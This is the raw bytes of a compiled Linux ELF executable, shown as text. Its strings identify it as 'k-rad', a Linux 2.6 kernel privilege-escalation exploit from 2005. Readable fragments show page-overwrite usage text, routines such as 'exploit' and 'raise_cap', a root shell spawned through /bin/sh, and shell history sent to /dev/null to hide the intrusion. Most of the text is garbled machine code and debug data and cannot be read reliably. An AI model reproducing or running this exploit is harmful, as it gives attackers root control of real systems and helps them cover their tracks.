ELFp4P-4 (!444@l((( Qtd/lib/ld-linux.so.2GNU    qb5B@k9vi6N:.9GF> XB*SxD 9 _Jv_RegisterClasses__gmon_start__libc.so.6printfepoll_waitexecvememcpydup2sendepoll_ctlsignalepoll_createsetresuiderrorsocketpairsetresgid__errno_locationexitatoi_IO_stdin_used__libc_start_maincloseGLIBC_2.3.2GLIBC_2.0$ri ii Ф    ĤȤ̤U] 5%%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@%hX0%h` %hh%Ĥhp%Ȥhx%̤h1^PTRhh0QVh3US[PPtЋ]ÐU=Ԥu-tҡuԤÉU|t!t$|x]U@@ؤ0ܤD$$ؤiE}~E;uvE;ufE;uVE44D$$ؤ U;u#MUEUEEa`!0XaUxEVUU$[E}y E EM *)‰ЃEEE}yEE)čD$EEEE}yEE@9E|sED$ D$D$$.y EUD$ D$D$`E$E UċE EgEEEȉD$ ED$D$E$wEEEH9E|EEUU}yEEU)‰ED$EE}yEEEċ$E}y E\EȉD$ ED$D$E$E$ EFEEE}yEE9E|D$EU ‹E)‰ЃD$Eȃ$FEȉD$ ED$D$E$5EU‹E)U)ȉED$ izED$ED$E$_}t!D$ izED$ED$E$8EE$EE;E~E$EEEUEEE}~EEEڋEUE )čD$ EE UE%' E EE$cE D$ED$E$U$$UxEEEEE E!E3E`ED$>$ D$>$EEԍEԁEԁ M؋UԋE)ЉD$E D$Eԉ$}t EEEEEE EԣU.fU.fBUE@fBE@E@$ED$D$$D$D$$}ED$EȉD$$$U()Dž$}uqE $u!E D$$Dž{yD$$`GD$yD$$DžUS]M ̀E}v‹E؉EE[]ÐUWV1S @)9s׍&'F9r [^_]ÍU$Bt$)pu[$t$]Nu$ÐUSlltv'ЋuX[]US[WR]a[-] y3r 422 12 n07 3r337 3nuPh! [*] Try increase nrpages? k-radTERM=linuxPS1=k-rad\$BASH_HISTORY=/dev/nullHISTORY=/dev/nullhistory=/dev/nullPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin[+] j00 1u(k7 k1d! /bin/sh[  k-rad.c - linux 2.6.* CPL 0 kernel exploit  ] [ Discovered Jan 2005 by sd  ] [-] Use: %s [number of pages] Increase from 1 to 5, use negative number for pae (from -1 to -5). The higher number the more likely it will crash [*] Overwriting %d pages x$ , HL oloo@Zjzʅڅ *:JZGCC: (GNU) 3.3.5 (Debian 1:3.3.5-3)GCC: (GNU) 3.3.5 (Debian 1:3.3.5-3)GCC: (GNU) 3.3.5 (Debian 1:3.3.5-8)GCC: (GNU) 3.3.5 (Debian 1:3.3.5-8)GCC: (GNU) 3.3.5 (Debian 1:3.3.5-3)GCC: (GNU) 3.3.5 (Debian 1:3.3.5-8)GCC: (GNU) 3.3.5 (Debian 1:3.3.5-3)p",@  , "$' 6A!_IO_stdin_usedp../sysdeps/i386/elf/start.S/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/glibc-2.3.2/csuGNU AS 2.15q.`C0'"B3#T$0N%q"(^)B*C+T ,int-0\23E;U<400q00at+#'W~abq\0 a0|aaaYaq5qJh  qP0 Ea Nb0 S kQ <R$IT=N#S#T$y V#8I#T#!h#8"I#z# &-f`g 86hH RR7 X7<?u#v#x#tz# {#}#~~##L$# #$#(#,t#0#4#8 =&$@#### #%#8I#V#  B  B %K RB@N $RO/ 5ARXL RR7] 8a    d  $$ e5 ;GB7jA##k#l*#m# /n# Gd  I%#BR##= .,42#3=# M,5 / 4 Q5.789T:0D5/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/i386-libc/csu/crti.S/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/glibc-2.3.2/csuGNU AS 2.15(/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/i386-libc/csu/crtn.S/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/glibc-2.3.2/csuGNU AS 2.15%% : ; I$ > $ >  : ;  : ; I8 I!I/  I : ;I  : ; : ; I  : ; ( ' II : ; &I'  < !I4: ; I?  %%S/ ../sysdeps/i386/elfstart.Sp.01:"VWYX  /usr/lib/gcc-lib/i486-linux/3.3.5/include../sysdeps/generic/bits../wcsmbs../sysdeps/gnu../iconvinit.cstddef.htypes.hwchar.h_G_config.hgconv.hz /disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/i386-libc/csucrti.S 2,Wd,",: ,Wdd,,-:z /disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/i386-libc/csucrtn.S6:A _G_int32_t__time_t__GCONV_INCOMPLETE_INPUT__GCONV_OK__state__gconv_init_fct_G_iconv_t__rlim64_t__GCONV_ILLEGAL_DESCRIPTOR__gconv_infoshort unsigned intunsigned char__useconds_t__counter__fct__val__value__nsteps_G_int16_t__max_needed_from__gconv_btowc_fct__off_t__ssize_t__statepinit.c__fsfilcnt_t__steps__fsfilcnt64_t__blkcnt_t__gconv_loaded_object_G_fpos64_t__gconv_t__trans_end_fct__u_int__GCONV_ILLEGAL_INPUT__blksize_t__to_name__uint64_t__id_t__GCONV_EMPTY_INPUT__cd__ino_t__GCONV_NOCONV__invocation_counter__pid_t__u_short__count__quad_t__u_long__fsid_t__GCONV_FULL_OUTPUT__max_needed_to__timer_t__stateful__uint32_t__key_t__u_char__gconv_step__shlib_handle__min_needed_toshort int__dev_tlong long int__gconv_trans_data__outbuflong long unsigned int__uid_t__wchb__uint16_twint_t__u_quad_t/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/glibc-2.3.2/csu__gconv_trans_end_fct__flags__outbufend__combined__gconv_trans_init_fct__init_fct__modname__trans_context_fct__trans_fctGNU C 3.3.5 (Debian 1:3.3.5-3)__rlim_t__wch__intptr_t__suseconds_t__ino64_twchar_t__GCONV_IS_LAST__blkcnt64_t__fsblkcnt64_t__mode_t__qaddr_t__pos__gconv_end_fct_IO_stdin_used__internal_use__GCONV_NODB__clock_t__gconv_step_data__gconv_trans_query_fct__socklen_t__int64_t__GCONV_NOMEM__off64_t__btowc_fct_G_fpos_t__int8_t__daddr_t__fsblkcnt_t_G_uint32_t__nlink_t__swblk_t__GCONV_INTERNAL_ERROR__mbstate_t__gid_t__clockid_t__int32_t__gconv_trans_context_fct__next__GCONV_IGNORE_ERRORS__end_fct__trans__uint8_t__gconv_fct__from_name__min_needed_from__gconv_trans_fct__data__caddr_t_G_uint16_t__loff_t__int16_t.symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.data.eh_frame.dynamic.ctors.dtors.jcr.got.bss.comment.debug_aranges.debug_pubnames.debug_info.debug_abbrev.debug_line.debug_str#(( 1HH7 `?LLGo@@,Toll0c l  u,,pDD {pp   @@S  lltt||TԤ,xP%u !8"0\%0,x2p W :(HL@l , D p  @lt|Ԥ uucu lt |Ԥ) ? KpXxes| cuؤ   ; . !*1qB@I[lyP Bk9, F p 6,Ƌx 40T DԤP Ur: 9  F> B*Ԥ  #9>xN4 XkDz@@  9\  /disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/i386-libc/config.habi-note.S/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/i386-libc/csu/abi-tag.hinit.c/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/i386-libc/csu/crti.S/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/i386-libc/csu/defs.hinitfini.ccall_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST__p.0completed.1__do_global_dtors_auxframe_dummy__CTOR_END____DTOR_END____FRAME_END____JCR_END____do_global_ctors_aux/disk/hdc2/glibc/debian-build/glibc_2.3.2.ds1-20.test2/glibc-2.3.2.ds1/build-tree/i386-libc/csu/crtn.Skrad.chead.0data.1n.2capgetstub_DYNAMICclear2close@@GLIBC_2.0_fp_hwsignal@@GLIBC_2.0__fini_array_end__dso_handle__libc_csu_finiepoll_wait@@GLIBC_2.3.2execve@@GLIBC_2.0__errno_location@@GLIBC_2.0_initsetresuid@@GLIBC_2.0fixint_startclear1epoll_create@@GLIBC_2.3.2__fini_array_startmap_pte__libc_csu_init__bss_startmain__libc_start_main@@GLIBC_2.0__init_array_enddup2@@GLIBC_2.0data_startprintf@@GLIBC_2.0_finimemcpy@@GLIBC_2.0errorepoll_ctl@@GLIBC_2.3.2exit@@GLIBC_2.0atoi@@GLIBC_2.0_edata__i686.get_pc_thunk.bx_GLOBAL_OFFSET_TABLE__endsend@@GLIBC_2.0raise_cap__init_array_start_IO_stdin_used__data_startkwrite_Jv_RegisterClassessocketpair@@GLIBC_2.0exploitsetresgid@@GLIBC_2.0__gmon_start__